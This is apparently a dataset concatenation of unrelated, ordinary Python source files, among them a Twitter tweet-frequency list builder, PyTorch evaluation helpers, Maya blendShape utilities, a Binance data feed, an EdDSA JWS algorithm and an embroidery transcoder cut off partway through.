session.pop('request_token', None)
auth.request_token = token
verifier = request.args.get('oauth_verifier')
try:
auth.get_access_token(verifier)
except tweepy.TweepError:
print 'Error! Failed to get access token.'
return render_template('options.html')
sorted_friends = []
# Go through the accounts the user follows and calculate
# their average tweet frequency
@app.route('/frequency')
def frequency():
# TODO: Add option to let people choose how they want frequency
# calculated (default will be looking at from the last month
api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)
#Get accounts user follows
user = api.me()
friends_list = []
Person = collections.namedtuple('Person', 'id name frequency color')
#If user has under 3000 friends, proceed as usual
if user.friends_count <= 3000:
#For testing
count = 0
for friend in tweepy.Cursor(api.friends, count = 200).items():
# current = {
# "id": friend.id,
# "name": friend.name,
#"frequency": calc_frequency(friend, api)
# "frequency": get_tweet_freq(friend, api)
# }
freq = get_tweet_freq(friend, api)
cell_color = get_color(freq)
current = Person(id = friend.id,
name = friend.name,
frequency = freq,
color = cell_color)
friends_list.append( current )
#count += 1
#if count > 50:
# break
#else:
#If they have more than 3000 friends, Twitter limits mean we have
#to calculate this a different way
#TO DO: Add warning label on html for users with over 3000 followers
#Print them to the user in order of frequency
#sorted_list = sorted(friends_list, key=lambda friends: friends[2])
friends_list.sort(key=lambda x:x.frequency, reverse=True)
global sorted_friends
sorted_friends = friends_list #save in more global variable so it can be used elsewhere
return render_template('frequency.html', accounts=friends_list)
def get_color(frequency):
if frequency < 1:
return "#7FFFD4" #aquamarine
elif frequency < 5:
return "#7FFF00" #chartreuse
elif frequency < 30:
return "#BA55D3" #medium orchid
# elif frequency < 50:
# return "#FFFF00" #yellow
else:
return "#FF6347" #tomato
#Returns true if the first character of the tweet is not an @ symbol,
#otherwise returns false
def at_free(text):
return text[0] != '@'
# Looks at the last 100 tweets and returns the avg # tweets per day
def get_tweet_freq(account, api):
try:
tweets = api.user_timeline(user_id = account.id, count=200, include_rts=1, include_entities=1, page=1)
except tweepy.error.TweepError:
time.sleep(30)
tweets = api.user_timeline(user_id = account.id, count=200, exclude_replies=1, include_rts=1, page=1)
#Remove any tweets that start with "@" by default
tweets[:] = [x for x in tweets if at_free(x.text)]
length = len(tweets)
if length > 0:
#oldest_tweet = tweets[-1]
index = 0
oldest_tweet = tweets[0]
while index != length:
challenger = tweets[index]
#if account.name == "AnthroPunk":
# print str(index) + " => " + challenger.text
oldest_tweet = challenger if (challenger.created_at < oldest_tweet.created_at) else oldest_tweet
index += 1
days_since_oldest = (datetime.now() - oldest_tweet.created_at).days
#print account.name + "'s oldest tweet: " + oldest_tweet.text
if days_since_oldest == 0:
return length
else:
return length / days_since_oldest
else:
return 0
# Returns how many tweets the user sent since a given date
def get_tweet_count(start_date, account, api):
#Get tweets
is_done = False
page = 0
total_tweets = 0
while not is_done:
tweets = []
try:
page += 1
tweets = api.user_timeline(user_id = account.id, count=200, include_rts=1, include_entities=1, page=page)
except tweepy.error.TweepError:
print "TWEEPY ERROR. Trying again in 30 seconds"
time.sleep(30) #to resolve error with Twitter API rate limit
tweets = api.user_timeline(user_id = account.id, count=200, include_rts=1, include_entities=1, page=page)
length = len(tweets)
tweets_in_range = 0
if length > 0:
#Find out how many of these tweets are within our date range
tweets_in_range = binary_search_for_date(tweets, start_date)
total_tweets += tweets_in_range
if tweets_in_range < 200:
#Unless every tweet from the current list is still within range,
#we have reached the end of the tweets in range
is_done = True
return total_tweets
#Accepts a Twitter account and calculates its average
#tweets per day
def calc_frequency(account, api):
#Get farthest back tweet date to use when averaging
date_string = "08/28/2015"
date_list = date_string.split('/')
start_date = datetime(int(date_list[2]), int(date_list[0]), int(date_list[1]))
days_since_start = (datetime.now() - start_date).days
count = get_tweet_count(start_date, account, api)
return count / days_since_start
# Searches through a list of tweets and returns how many are at least as
# old as the supplied "oldest date"
def binary_search_for_date(tweet_list, oldest_date):
first = 0
last = len(tweet_list)-1
oldest_index = -1
while first <= last:
midpoint = (first + last) // 2
current = tweet_list[midpoint]
#date_diff = oldest_date - current.created_at
#if date_diff.total_seconds() >= 0: #Still a valid date
if current.created_at >= oldest_date:
first = midpoint + 1
oldest_index = midpoint
else:
last = midpoint - 1
return oldest_index + 1
#Create lists as calculated
@app.route('/create_lists')
def create_lists():
rare_name = "TwitListed: Tweet Rarely"
low_name = "TwitListed: Tweet A Bit"
mid_name = "TwitListed: Tweet Often"
# high_name = "Tweet Frequency Between 30 and 50 per Day"
highest_name = "TwitListed: Tweet So Much"
api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)
#Create the lists and then get their "slug" id
rare_slug = api.create_list(name=rare_name, mode="private", description="Accounts who tweet, on average, less often than once per day. Created by TwitListed.").slug
low_slug = api.create_list(name=low_name, mode="private", description="Accounts who tweet, on average, between 1 and fewer than 5 times per day. Created by TwitListed.").slug
mid_slug = api.create_list(name=mid_name, mode="private", description="Accounts who tweet, on average, between 5 and fewer than 30 times per day. Created by TwitListed.").slug
# api.create_list(name=high_name, description="Stores accounts who tweet, on average, between 30 and less than 50 times per day. Created by TwitListed.")
highest_slug = api.create_list(name=highest_name, mode="private", description="Accounts who tweet, on average, 50 or more times per day. Created by TwitListed.").slug
# list_of_lists = api.lists()
# rare_slug = ""
# low_slug = ""
# mid_slug = ""
# high_slug = ""
# highest_slug = ""
# for item in list_of_lists:
# if item.name == rare_name:
# rare_slug = item.slug
# elif item.name == low_name:
# low_slug = item.slug
# elif item.name == mid_name:
# mid_slug = item.slug
# elif item.name == high_name:
# high_slug = item.slug
# elif item.name == highest_name:
# highest_slug = item.slug
# else:
# a = True #No action needed
owner = api.me()
print "Sorted Friends have length " + str(len(sorted_friends))
for acct in sorted_friends:
frequency = acct.frequency
if frequency < 1: #rare
#print "rare"
api.add_list_member(slug=rare_slug, user_id=acct.id, owner_id=owner.id)
elif frequency < 5: #low
#print "low"
api.add_list_member(slug=low_slug, id=acct.id, owner_id=owner.id)
elif frequency < 30: #mid
#print "mid"
api.add_list_member(slug=mid_slug, id=acct.id, owner_id=owner.id)
# elif frequency < 50: #high
# api.add_list_member(slug=high_slug, id=acct.id)
else: #highest
#print "high"
api.add_list_member(slug=highest_slug, id=acct.id, owner_id=owner.id)
return render_template('created.html', user=owner.screen_name)
if __name__ == '__main__':
app.debug = True
app.run()
| python |
"""
An example of a 64-bit *echo* client.
Example of a client that can be executed by a 64-bit Python interpreter that sends
requests to the corresponding :mod:`.echo32` module which is executed by a
32-bit Python interpreter.
:class:`~.echo32.Echo32` is the 32-bit server class and :class:`~.echo64.Echo64` is
the 64-bit client class. These *echo* classes do not actually communicate with a shared
library. The point of these *echo* classes is to show that a Python data type in a
64-bit process appears as the same data type in the 32-bit process and vice versa.
"""
import os
from msl.loadlib import Client64
class Echo64(Client64):
def __init__(self):
"""
Example of a client class that illustrates that Python data types are
preserved when they are sent to the :class:`~.echo32.Echo32` server
and back again.
"""
super(Echo64, self).__init__(module32='echo32', append_sys_path=os.path.dirname(__file__))
def send_data(self, *args, **kwargs):
"""Send a request to execute the :meth:`~.echo32.Echo32.received_data`
method on the 32-bit server.
Parameters
----------
*args
The arguments that the :meth:`~.echo32.Echo32.received_data` method requires.
**kwargs
The keyword arguments that the :meth:`~.echo32.Echo32.received_data` method requires.
Returns
-------
:class:`tuple`
The `args` and `kwargs` that were returned from :meth:`~.echo32.Echo32.received_data`.
"""
return self.request32('received_data', *args, **kwargs)
| python |
#!/usr/bin/python3
#coding:utf8
import cv2
import numpy as np
from PIL import Image, ImageDraw, ImageFont
def cv2ImgAddText(image, text, x, y, textColor=(0, 255, 0), textSize=20):
image = Image.fromarray(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
draw = ImageDraw.Draw(image)
fontText = ImageFont.truetype("/usr/share/fonts/chinese/simsun.ttc", textSize, encoding="utf-8")
draw.text((x, y), text, textColor, font=fontText)
return cv2.cvtColor(np.asarray(image), cv2.COLOR_RGB2BGR)
| python |
#Synchronize processes with managers – Chapter 3: Process Based Parallelism
import multiprocessing
def worker(dictionary, key, item):
dictionary[key] = item
if __name__ == '__main__':
mgr = multiprocessing.Manager()
dictionary = mgr.dict()
jobs = [ multiprocessing.Process\
(target=worker, args=(dictionary, i, i*2))
for i in range(10)
]
for j in jobs:
j.start()
for j in jobs:
j.join()
print ('Results:', dictionary)
| python |
import torch
import torch.nn.functional as F
import numpy as np
from itertools import product
import matplotlib.pyplot as plt
def compute_accuracy(model, data_loader, device):
model.eval()
with torch.no_grad():
correct_pred, num_examples = 0, 0
for i, (features, targets) in enumerate(data_loader):
features = features.to(device)
targets = targets.to(device)
logits = model(features)
# if isinstance(logits, torch.distributed.rpc.api.RRef):
# logits = logits.local_value()
_, predicted_labels = torch.max(logits, 1)
num_examples += targets.size(0)
correct_pred += (predicted_labels == targets).sum()
return correct_pred.float()/num_examples * 100
def compute_epoch_loss(model, data_loader, device):
model.eval()
curr_loss, num_examples = 0., 0
with torch.no_grad():
for features, targets in data_loader:
features = features.to(device)
targets = targets.to(device)
logits = model(features)
# if isinstance(logits, torch.distributed.rpc.api.RRef):
# logits = logits.local_value()
loss = F.cross_entropy(logits, targets, reduction='sum')
num_examples += targets.size(0)
curr_loss += loss
curr_loss = curr_loss / num_examples
return curr_loss
def compute_confusion_matrix(model, data_loader, device):
all_targets, all_predictions = [], []
with torch.no_grad():
for i, (features, targets) in enumerate(data_loader):
features = features.to(device)
targets = targets
logits = model(features)
_, predicted_labels = torch.max(logits, 1)
all_targets.extend(targets.to('cpu'))
all_predictions.extend(predicted_labels.to('cpu'))
all_predictions = all_predictions
all_predictions = np.array(all_predictions)
all_targets = np.array(all_targets)
class_labels = np.unique(np.concatenate((all_targets, all_predictions)))
if class_labels.shape[0] == 1:
if class_labels[0] != 0:
class_labels = np.array([0, class_labels[0]])
else:
class_labels = np.array([class_labels[0], 1])
n_labels = class_labels.shape[0]
lst = []
z = list(zip(all_targets, all_predictions))
for combi in product(class_labels, repeat=2):
lst.append(z.count(combi))
mat = np.asarray(lst)[:, None].reshape(n_labels, n_labels)
return mat
def plot_confusion_matrix(conf_mat,
hide_spines=False,
hide_ticks=False,
figsize=None,
cmap=None,
colorbar=False,
show_absolute=True,
show_normed=False,
class_names=None):
if not (show_absolute or show_normed):
raise AssertionError('Both show_absolute and show_normed are False')
if class_names is not None and len(class_names) != len(conf_mat):
raise AssertionError('len(class_names) should be equal to number of'
'classes in the dataset')
total_samples = conf_mat.sum(axis=1)[:, np.newaxis]
normed_conf_mat = conf_mat.astype('float') / total_samples
fig, ax = plt.subplots(figsize=figsize)
ax.grid(False)
if cmap is None:
cmap = plt.cm.Blues
if figsize is None:
figsize = (len(conf_mat) * 1.25, len(conf_mat) * 1.25)
if show_normed:
matshow = ax.matshow(normed_conf_mat, cmap=cmap)
else:
matshow = ax.matshow(conf_mat, cmap=cmap)
if colorbar:
fig.colorbar(matshow)
for i in range(conf_mat.shape[0]):
for j in range(conf_mat.shape[1]):
cell_text = ""
if show_absolute:
num = conf_mat[i, j].astype(np.int64)
cell_text += format(num, 'd')
if show_normed:
cell_text += "\n" + '('
cell_text += format(normed_conf_mat[i, j], '.2f') + ')'
else:
cell_text += format(normed_conf_mat[i, j], '.2f')
ax.text(x=j,
y=i,
s=cell_text,
va='center',
ha='center',
color="white" if normed_conf_mat[i, j] > 0.5 else "black")
if class_names is not None:
tick_marks = np.arange(len(class_names))
plt.xticks(tick_marks, class_names, rotation=90)
plt.yticks(tick_marks, class_names)
if hide_spines:
ax.spines['right'].set_visible(False)
ax.spines['top'].set_visible(False)
ax.spines['left'].set_visible(False)
ax.spines['bottom'].set_visible(False)
ax.yaxis.set_ticks_position('left')
ax.xaxis.set_ticks_position('bottom')
if hide_ticks:
ax.axes.get_yaxis().set_ticks([])
ax.axes.get_xaxis().set_ticks([])
plt.xlabel('predicted label')
plt.ylabel('true label')
plt.show()
return fig, ax | python |
import maya.cmds as mc
import glTools.utils.blendShape
import glTools.utils.stringUtils
def createFromSelection(origin='local',deformOrder=None,prefix=None):
'''
Create basic blendShape from selection.
@param origin: Create a local or world space belndShape deformer. Accepted values - "local" or "world".
@type origin: str
@param deformOrder: Deformer order. Accepted values - "after", "before", "parallel", "split" or "foc".
@type deformOrder: str or None
@param prefix: Naming prefix
@type prefix: str or None
'''
# Get Selection
sel = mc.ls(sl=1)
if not sel:
print('Empty or invalid selections!')
return None
# Get Base/Target Geometry
baseGeo = sel[-1]
targetGeo = sel[:-1]
# Get Prefix
if not prefix: prefix = baseGeo # glTools.utils.stringUtils.stripSuffix(baseGeo)
# Create BlendShape
blendShape = glTools.utils.blendShape.create(baseGeo,targetGeo,origin,deformOrder,prefix)
# Set Default Weight
if len(targetGeo) == 1: mc.setAttr(blendShape+'.w[0]',1.0)
# Return Result
return blendShape
def endOfChainBlendShape(geo):
'''
Create an End Of Chain override blendShape deformer for the specified geometry.
The override blendShape will be used to apply custom shot animation (cloth, charFX or shotSculpting) that will override the standard rig deformations.
@param geo: The geometry to add an override blendShape deformer to.
@type geo: str
'''
# Checks
if not mc.objExists(geo):
raise Exception('Geometry object "'+geo+'" does not exist!!')
if not mc.listRelatives(geo,s=True,ni=True):
raise Exception('Object "'+geo+'" has no valid shape children!')
# Create Override BlendShapes
blendShape = geo.split(':')[-1]+'_override_blendShape'
if mc.objExists(blendShape):
print('Override blendShape "'+blendShape+'" already exists! Skipping...')
else:
blendShape = mc.blendShape(geo,n=blendShape)[0]
# Return Result
return blendShape
def addOverrideTarget(geo,targetGeo,targetWeight=0):
'''
Add override blendShape target to the specified geometry.
@param geo: The geometry to add an override blendShape target to.
@type geo: str
@param targetGeo: The override target geometry to add to the blendShape deformer.
@type targetGeo: str
@param targetWeight: The override target blend weight to apply.
@type targetWeight: float
'''
# Checks
if not mc.objExists(geo):
raise Exception('Base geometry "'+geo+'" does not exist!!')
if not mc.objExists(targetGeo):
raise Exception('Target geometry "'+targetGeo+'" does not exist!!')
# Get Override BlendShape
blendShape = geo.split(':')[-1]+'_override_blendShape'
if not mc.objExists(blendShape): blendShape = geo+'_override_blendShape'
if not mc.objExists(blendShape):
raise Exception('Override blendShape "'+blendShape+'" does not exist!!')
# Add Target
targetAttr = glTools.utils.blendShape.addTarget( blendShape=blendShape,
target=targetGeo,
base=geo,
targetWeight=targetWeight,
topologyCheck=False )
# Return Result
return targetAttr
def duplicateAndBlend(obj,parent='',search='',replace='',worldSpace=False):
'''
Duplicate a specified deformable object, then blendShape the duplicate to the original.
@param obj: Object to duplicate
@type obj: str
@param parent: Parent transform to place the duplicate object under
@type parent: str
@param search: Names search string used to generate the duplicate object name
@type search: str
@param replace: Names replace string used to generate the duplicate object name
@type replace: str
@param worldSpace: Create the blendShape in local or world space
@type worldSpace: bool
'''
# Check object exists
if not mc.objExists(obj):
raise Exception('Object "'+obj+'" does not exist!')
# Duplicate object
dup = mc.duplicate(obj,rr=True,n=obj.replace(search,replace))[0]
# Create blendShape from original to duplicate
origin = 'local'
if worldSpace: origin = 'world'
blendShape = mc.blendShape(obj,dup,o=origin)[0]
# Set blendShape weight
blendAlias = mc.listAttr(blendShape+'.w',m=True)[0]
mc.setAttr(blendShape+'.'+blendAlias,1.0)
# Parent
if parent and mc.objExists(parent):
mc.parent(dup,parent)
else:
mc.parent(dup,w=True)
# Return result
return blendShape
def regenerateTarget(blendShape,target,base='',connect=False):
'''
Regenerate target geometry for the specified blendShape target.
@param blendShape: BlendShape to regenerate target geometry for
@type blendShape: str
@param target: BlendShape target to regenerate target geometry for
@type target: str
@param base: BlendShape base geometry to regenerate target geometry from
@type base: str
@param connect: Reconnect regenerated target geometry to target input
@type connect: bool
'''
# ==========
# - Checks -
# ==========
if not glTools.utils.blendShape.isBlendShape(blendShape):
raise Exception('Object "'+blendShape+'" is not a valid blendShape!')
if not glTools.utils.blendShape.hasTarget(blendShape,target):
raise Exception('BlendShape "'+blendShape+'" has no target "'+target+'"!')
if base and not glTools.utils.blendShape.hasBase(blendShape,base):
raise Exception('BlendShape "'+blendShape+'" has no base geometry "'+base+'"!')
# Check Existing Live Target Geometry
if glTools.utils.blendShape.hasTargetGeo(blendShape,target,base=base):
targetGeo = glTools.utils.blendShape.getTargetGeo(blendShape,target,baseGeo=base)
print('Target "" for blendShape "" already has live target geometry! Returning existing target geometry...')
return targetGeo
# Get Base Geometry - Default to base index [0]
if not base: base = glTools.utils.blendShape.getBaseGeo(blendShape)[0]
baseIndex = glTools.utils.blendShape.getBaseIndex(blendShape,base)
# Get Target Index
targetIndex = glTools.utils.blendShape.getTargetIndex(blendShape,target)
# ==============================
# - Regenerate Target Geometry -
# ==============================
# Initialize Target Geometry
targetGeo = mc.duplicate(base,n=target)[0]
# Delete Unused Shapes
for targetShape in mc.listRelatives(targetGeo,s=True,pa=True):
if mc.getAttr(targetShape+'.intermediateObject'):
mc.delete(targetShape)
# Get Target Deltas and Components
wtIndex = 6000
targetDelta = mc.getAttr(blendShape+'.inputTarget['+str(baseIndex)+'].inputTargetGroup['+str(targetIndex)+'].inputTargetItem['+str(wtIndex)+'].inputPointsTarget')
targetComp = mc.getAttr(blendShape+'.inputTarget['+str(baseIndex)+'].inputTargetGroup['+str(targetIndex)+'].inputTargetItem['+str(wtIndex)+'].inputComponentsTarget')
for i in xrange(len(targetComp)):
# Get Component Delta
d = targetDelta[i]
# Apply Component Delta
mc.move(d[0],d[1],d[2],targetGeo+'.'+targetComp[i],r=True,os=True)
# Freeze Vertex Transforms
mc.polyMoveVertex(targetGeo)
mc.delete(targetGeo,ch=True)
# ===========================
# - Connect Target Geometry -
# ===========================
if connect: mc.connectAttr(targetGeo+'.outMesh',blendShape+'.inputTarget['+str(baseIndex)+'].inputTargetGroup['+str(targetIndex)+'].inputTargetItem['+str(wtIndex)+'].inputGeomTarget',f=True)
# =================
# - Return Result -
# =================
return targetGeo
def regenerateTargetSplits(target,base,targetSplits=[],replace=False):
'''
Regenerate target splits from a specified master target and base geometry.
Each split is regenerated as a blend from the master shape, weighted (per component) based on the existing split offset.
@param target: Target shape to regenerate target splits from
@type target: str
@param base: Base geometry to measure against to generate split maps.
@type base: str
@param targetSplits: List of target splits to regenerate.
@type targetSplits: list
@param replace: Replace existing splits. Otherwise, create new split geometry.
@type replace: bool
'''
# ==========
# - Checks -
# ==========
pass
def updateTargets(oldBase,newBase,targetList):
'''
Rebuild blendShape targets given an old and a new base geometry.
@param oldBase: Old base geometry
@type oldBase: str
@param newBase: new base geometry
@type newBase: str
@param targetList: List of target shapes to rebuild
@type targetList: list
'''
# ==========
# - Checks -
# ==========
if not mc.objExists(oldBase):
raise Exception('Old base geometry "'+oldBase+'" does not exist!')
if not mc.objExists(newBase):
raise Exception('New base geometry "'+newBase+'" does not exist!')
if not targetList: raise Exception('Empty target list!')
for target in targetList:
if not mc.objExists(target):
raise Exception('Target geometry "'+target+'" does not exist!')
# ==================
# - Update Targets -
# ==================
targetList.insert(0,newBase)
updateBlendShape = mc.blendShape(targetList,oldBase,n='updateTargets_blendShape')[0]
updateBlendAlias = mc.listAttr(updateBlendShape+'.w',m=True)
# Generate New Targets
for i in range(len(updateBlendAlias)):
if not i:
# Set New Base Target Weight (1.0)
mc.setAttr(updateBlendShape+'.'+updateBlendAlias[i],1)
else:
# Set Target Weight
mc.setAttr(updateBlendShape+'.'+updateBlendAlias[i],1)
# Extract New Target from Blended Base
newTarget = mc.duplicate(oldBase,n=updateBlendAlias[0]+'NEW')[0]
# Delete Unused Shapes
for shape in mc.listRelatives(newTarget,s=True,pa=True):
if mc.getAttr(shape+'.intermediateObject'):
mc.delete(shape)
# Update Target
targetBlendShape = mc.blendShape(newTarget,targetList[i])[0]
targetAlias = mc.listAttr(targetBlendShape+'.w',m=True)[0]
mc.setAttr(targetBlendShape+'.'+targetAlias,1)
mc.delete(targetList[i],ch=True)
mc.delete(newTarget)
# Reset Target Weight
mc.setAttr(updateBlendShape+'.'+updateBlendAlias[i],0)
# ===========
# - Cleanup -
# ===========
# Reset New Base Target Weight (0.0)
mc.setAttr(updateBlendShape+'.'+updateBlendAlias[0],0)
# Delete History (Old Base)
#mc.delete(oldBase,ch=True)
mc.delete(updateBlendShape)
# =================
# - Return Result -
# =================
return targetList
| python |
import os
import time
import json
import logging
from crizzle import patterns
from crizzle.envs.base import Feed as BaseFeed
from crizzle.services.binance import INTERVALS
logger = logging.getLogger(__name__)
class Feed(BaseFeed):
def __init__(self, symbols: list = None, intervals: list = None):
super(Feed, self).__init__('binance')
self.symbols = self.service.trading_symbols() if symbols is None else symbols
self.intervals = INTERVALS if intervals is None else intervals
self.historical_filepath = self.get_path('candlestick')
self.initialize_file(self.historical_filepath)
def initialize_file(self, filepath: str):
super(Feed, self).initialize_file(filepath)
with open(filepath, 'r+') as file:
try:
json.load(file)
except json.decoder.JSONDecodeError:
file.write('{}')
def get_path(self, data_type: str) -> str:
"""
Get the name of the file to store the historical data in
Returns:
str: Name of file
"""
return os.path.join(self.data_directory, data_type, self.name + '.json')
def most_recent(self) -> dict:
"""
Checks local data directory for file existence and most recent data point for each chart
Returns:
dict: Dictionary of the format {interval: {symbol: latest_time}}, where latest_time is the
timestamp of the most recent entry available, or None if there are no records for that symbol.
"""
output = {}
with open(self.historical_filepath) as file:
data = json.load(file)
for interval in self.intervals:
if interval not in output:
output[interval] = {}
for symbol in self.symbols: # TODO: fix this ugly nesting
if interval in data:
if symbol in data[interval]:
if len(data[interval][symbol]) > 0:
latest = \
sorted(data[interval][symbol], key=lambda x: x['closeTimestamp'], reverse=True)[0]
output[interval].update({symbol: (latest['openTimestamp'], latest['closeTimestamp'])})
else:
output[interval][symbol] = (0, 0)
else:
output[interval][symbol] = (0, 0)
else:
output[interval][symbol] = (0, 0)
return output
def current_price_graph(self):
prices = self.current_price()
edges = list(map(
lambda x: [x['baseAsset'], x['quoteAsset'], prices[x['baseAsset'] + x['quoteAsset']]],
self.service.info(key='symbols')
))
return patterns.DiGraph(edges=edges)
def get_historical_candlesticks(self, interval, symbol, start=None, end=None):
return self.service.candlesticks(symbol, interval, start=start, end=end).to_json(orient='records')
def current_price(self, symbol=None):
data = self.service.ticker_price(symbol=symbol)
if symbol is None:
return dict(map(lambda item: (item['symbol'], float(item['price'])), data))
else:
return data['price']
def update_local_historical_data(self):
"""
Brings locally stored historical data for all chosen symbols up to date.
"""
latest_timestamps = self.most_recent()
path = self.historical_filepath
with open(path, 'r') as file:
data = json.load(file)
for interval in self.intervals:
if interval not in data:
data[interval] = {}
for symbol in self.symbols:
if symbol not in data[interval]:
data[interval][symbol] = []
candlesticks = data[interval][symbol]
open_time, close_time = latest_timestamps[interval][symbol]
while (time.time() * 1000) - close_time > close_time - open_time:
# TODO: verify out of date using a better method
new_candlesticks = self.service.candlesticks(symbol, interval, start=close_time)
open_time = new_candlesticks[-1]['openTimestamp']
close_time = new_candlesticks[-1]['closeTimestamp']
candlesticks.extend(new_candlesticks)
logger.debug("Interval {}; Symbol {}; Close Time {}".format(interval, symbol, close_time))
with open(path, 'w') as file:
json.dump(data, file, indent=2)
def next(self):
pass
| python |
#!/usr/bin/env python3
import sys
import csv
import pprint
print(sys.argv[1])
data = list(csv.reader(open(sys.argv[1],'r')))
bases = [x for x in data if x[0] == 'csr_base']
regs = [x for x in data if x[0] == 'csr_register']
mem_map = []
for _, name, loc, size, rw in regs:
mem_map.append((int(loc, 16), int(size), name))
mem_map.sort()
for i, (loc, size, name) in enumerate(mem_map[:-1]):
print("{:x} {} {}".format(loc, size, name))
nloc, nsize, nname = mem_map[i+1]
assert (loc + size*4) <= nloc, "{:x}+{} < {:x} ({} < {})".format(loc, size, nloc, name, nname)
assert loc < (0xe0000000 + (2**14)*4), "{:x} {}".format(loc, name)
regs_in_base = {}
for _, name, loc, size, rw in regs:
for _, bname, base, _, _ in bases:
if name.startswith(bname):
if bname not in regs_in_base:
regs_in_base[bname] = []
regs_in_base[bname].append((int(loc, 16), name[len(bname)+1:], int(size), rw))
for name, regs in sorted(regs_in_base.items()):
num_regs = sum(size for loc, name, size, rw in regs)
assert num_regs < 200
print(name, num_regs)
| python |
from cryptography.exceptions import InvalidSignature
from cryptography.hazmat.primitives.asymmetric.ed25519 import (
Ed25519PublicKey, Ed25519PrivateKey
)
from authlib.jose.rfc7515 import JWSAlgorithm, JsonWebSignature
from .okp_key import OKPKey
class EdDSAAlgorithm(JWSAlgorithm):
name = 'EdDSA'
description = 'Edwards-curve Digital Signature Algorithm for JWS'
private_key_cls = Ed25519PrivateKey
public_key_cls = Ed25519PublicKey
def prepare_key(self, raw_data):
return OKPKey.import_key(raw_data)
def sign(self, msg, key):
op_key = key.get_op_key('sign')
return op_key.sign(msg)
def verify(self, msg, sig, key):
op_key = key.get_op_key('verify')
try:
op_key.verify(sig, msg)
return True
except InvalidSignature:
return False
def register_jws_rfc8037():
JsonWebSignature.register_algorithm(EdDSAAlgorithm())
| python |
import math
from .EmbFunctions import *
from .EmbMatrix import EmbMatrix
class Transcoder:
def __init__(self, settings=None):
if settings is None:
settings = {}
self.max_stitch = settings.get("max_stitch", float('inf'))
self.max_jump = settings.get("max_jump", float('inf'))
self.full_jump = settings.get("full_jump", False)
self.round = settings.get("round", False)
self.needle_count = settings.get("needle_count", 5)
self.thread_change_command = settings.get("thread_change_command", COLOR_CHANGE)
if self.needle_count <= 1 and self.thread_change_command == NEEDLE_SET:
self.thread_change_command = STOP
strip_sequins = settings.get("strip_sequins", True)
# deprecated, use sequin_contingency.
if strip_sequins:
self.sequin_contingency = CONTINGENCY_SEQUIN_JUMP
else:
self.sequin_contingency = CONTINGENCY_SEQUIN_UTILIZE
self.sequin_contingency = settings.get("sequin_contingency", self.sequin_contingency)
self.writes_speeds = settings.get("writes_speeds", True)
self.explicit_trim = settings.get("explicit_trim", False)
self.tie_on_contingency = settings.get("tie_on", CONTINGENCY_TIE_ON_NONE)
if self.tie_on_contingency is True:
self.tie_on_contingency = CONTINGENCY_TIE_ON_THREE_SMALL
if self.tie_on_contingency is False:
self.tie_on_contingency = CONTINGENCY_TIE_ON_NONE
self.tie_off_contingency = settings.get("tie_off", CONTINGENCY_TIE_OFF_NONE)
if self.tie_off_contingency is True:
self.tie_off_contingency = CONTINGENCY_TIE_OFF_THREE_SMALL
if self.tie_off_contingency is False:
self.tie_off_contingency = CONTINGENCY_TIE_OFF_NONE
self.long_stitch_contingency = \
settings.get("long_stitch_contingency", CONTINGENCY_LONG_STITCH_JUMP_NEEDLE)
self.matrix = EmbMatrix()
translate = settings.get("translate", None)
if translate is not None:
try:
self.matrix.post_translate(translate[0], translate[1])
except IndexError:
try:
self.matrix.post_translate(translate.x, translate.y)
except AttributeError:
pass
scale = settings.get("scale", None)
if scale is not None:
try:
self.matrix.post_scale(scale[0], scale[1])
except (IndexError, TypeError):
try:
self.matrix.post_scale(scale.x, scale.y)
except AttributeError:
self.matrix.post_scale(scale, scale)
rotate = settings.get("rotate", None)
if rotate is not None:
self.matrix.post_rotate(rotate)
self.source_pattern = None
self.destination_pattern = None
self.position = 0
self.order_index = -1
self.change_sequence = {}
self.stitch = None
self.state_trimmed = True
self.state_sequin_mode = False
self.state_jumping = False
self.needle_x = 0
self.needle_y = 0
self.high_flags = 0
def transcode(self, source_pattern, destination_pattern):
if source_pattern is destination_pattern:
# both objects are same. Source is copy, destination is cleared.
source_pattern = destination_pattern.copy()
destination_pattern.clear()
self.source_pattern = source_pattern
self.destination_pattern = destination_pattern
self.transcode_metadata()
self.transcode_main()
return destination_pattern
def transcode_metadata(self):
"""Transcodes metadata, (just moves)"""
source = self.source_pattern.extras
dest = self.destination_pattern.extras
dest.update(source)
def get_as_thread_change_sequence_events(self):
"""Generates the sequence change events with their relevant indexes.
If there is a sewing event prior to the thread sequence event, the first event
is indexed as 1. If the first event is a discrete event, occurring before
the sewing starts it's indexed as zero."""
source = self.source_pattern.stitches
current_index = 0
for stitch in source:
change = decode_embroidery_command(stitch[2])
command = change[0]
flags = command & COMMAND_MASK
if current_index == 0:
if flags == STITCH or flags == SEW_TO or flags == NEEDLE_AT or flags == SEQUIN_EJECT:
current_index = 1
if flags == SET_CHANGE_SEQUENCE:
thread = change[1]
needle = change[2]
order = change[3]
yield flags, thread, needle, order, None
elif flags == NEEDLE_SET or flags == COLOR_CHANGE or flags == COLOR_BREAK:
change = decode_embroidery_command(command)
thread = change[1]
needle = change[2]
order = change[3]
yield flags, thread, needle, order, current_index
current_index += 1
def build_thread_change_sequence(self):
"""Builds a change sequence to plan out all the color changes for the file."""
change_sequence = {}
lookahead_index = 0
change_sequence[0] = [None, None, None, None]
for flags, thread, needle, order, current_index in self.get_as_thread_change_sequence_events():
if flags == SET_CHANGE_SEQUENCE:
if order is None:
try:
current = change_sequence[lookahead_index]
except KeyError:
current = [None, None, None, None]
change_sequence[lookahead_index] = current
lookahead_index += 1
else:
try:
current = change_sequence[order]
except KeyError:
current = [None, None, None, None]
change_sequence[order] = current
else:
try:
current = change_sequence[current_index]
except KeyError:
current = [None, None, None, None]
change_sequence[current_index] = current
if current_index >= lookahead_index:
lookahead_index = current_index + 1
if flags == COLOR_CHANGE or flags == NEEDLE_SET:
current[0] = flags
if thread is not None:
current[1] = thread
current[3] = self.source_pattern.get_thread_or_filler(thread)
if needle is not None:
current[2] = needle
# TODO: account for contingency where threadset repeats threads without explicit values set within the commands.
needle_limit = self.needle_count
thread_index = 0
needle_index = 1
for order, s in change_sequence.items():
if s[0] is None:
s[0] = self.thread_change_command
if s[1] is None:
s[1] = thread_index
thread_index += 1
if s[2] is None:
s[2] = needle_index
if s[2] > needle_limit:
s[2] = (s[2] - 1) % needle_limit
s[2] += 1
needle_index += 1
if s[3] is None:
s[3] = self.source_pattern.get_thread_or_filler(s[1])
return change_sequence
def transcode_main(self):
"""Transcodes stitches.
Converts middle-level commands and potentially incompatible
